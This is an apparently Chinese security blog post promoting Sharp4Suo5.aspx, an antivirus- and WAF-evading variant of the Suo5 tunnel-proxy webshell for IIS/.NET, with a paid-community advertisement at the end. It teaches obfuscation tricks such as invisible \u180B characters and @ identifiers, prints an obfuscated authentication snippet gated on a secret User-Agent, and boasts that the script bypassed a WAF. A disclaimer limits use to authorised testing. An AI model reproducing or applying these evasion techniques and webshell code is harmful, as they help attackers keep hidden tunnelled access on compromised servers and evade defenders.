.NET 一款免杀的Suo5隧道代理脚本

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他方面

02基本介绍

Sharp4Suo5.aspx 是Suo5高性能的 HTTP 隧道代理工具在.NET环境下的免杀脚本，主要用于绕过WAF和主机反病毒软件，脚本支持 IIS .NET Framework >= 2.0 的所有版本和 .NET Core。这类工具在渗透测试和红队活动中非常有用，尤其是在需要隐蔽通信的场景中。

03免杀思路

为了提高原生的suo5.aspx 免杀能力，我们可以利用一些.NET免杀技巧，如使用 @ 逐字标识符、内联注释符 /**/、指定托管语言 language=cs 和 Unicode 编码 \u180B 来绕过安全检测。

3.1 逐字标识符

在 .NET 中，@ 标识符用于逐字字符串，使字符串中的特殊字符（如反斜杠和双引号）不需要转义。如下代码所示

string path = @"C:\Users\Example\Documents";

3.2 内联注释符

内联注释符 /**/ 用于将代码片段隐藏在注释中，从而扰乱静态分析工具的解析。例如

int a = 1; /**/ int b = 2

3.3 托管语言cs

在 .NET 页中，可以通过 language=cs 指定 .NET 作为脚本语言。这种方式可以直接在 ASPX 文件中嵌入 .NET 代码，方便灵活地实现各种功能。

<%@ Page Language="cs" %>

3.4 托管语言cs

使用 Unicode 编码 \u180B 可以在不改变代码功能的前提下插入不可见字符，从而扰乱静态分析工具。例如：

byte[] data = BitCo\u180Bnverter.GetBy\u180Btes((Int32)value.Length);

04代码实现

以下是一个使用上述技术的 Sharp4Suo5.aspx 工具代码片段checkAuth 方法，免杀代码如下所示。

<%@ Page Language="cs" %>
private bool checkAuth()
{
    string ua = @Request.@Headers.@Get("User-Agent");
    if (ua == null || !ua.Equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3"))
    {
        return false;
    }
    if (@Request.@ContentType.Equals("application/plain"))
    {
        byte[] readData = Request.@Binar\u180ByRead(32);
        Response.@Binar\u180ByWrite(readData);
        Response.Flush();
        return false;
    }
    return true;
}

这个方法在代理脚本里用于验证请求的合法性，如果符合条件，读取并返回二进制数据。免杀之后的脚本发给这位师傅，秒过了WAF拦截，效果非常好！

Sharp4Suo5.aspx 工具通过多种.NET免杀技术手段实现了工具的隐蔽性和有效性。关于.NET免杀技术我们之前也介绍过很多，可以看下方推荐阅读版块。工具已经打包在星球，感兴趣的朋友可以加入自取。

05推荐阅读

从漏洞分析到安全攻防，我们涵盖了.NET安全各个关键方面，为您呈现最新、最全面的.NET安全知识，下面是公众号发布的精华文章集合，推荐大家阅读！

06.NET安全星球

为了更好地应对基于.NET技术栈的风险识别和未知威胁，dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术，定位于高质量安全攻防星球社区，也得到了许多师傅们的支持和信任，通过星球深度连接入圈的师傅们，一起推动.NET安全高质量的向前发展。中国.NET安全领域最知名、最活跃的技术知识库之一，从.NET Framework到.NET Core，从Web应用到PC端软件应用，无论您是初学者还是经验丰富的开发人员，都能在这里找到对应的安全指南和最佳实践。

星球文化始终认为授人以鱼不如授人以渔！加入星球后可以跟星主和嘉宾们一对一提问交流，20+个专题栏目涵盖了点、线、面、体等知识面，助力师傅们快速成长！其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

    我们倾力打造专刊、视频等配套学习资源，循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

我们还有一个会员专属的内部星球陪伴群，加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问，以获取帮助迅速解决问题。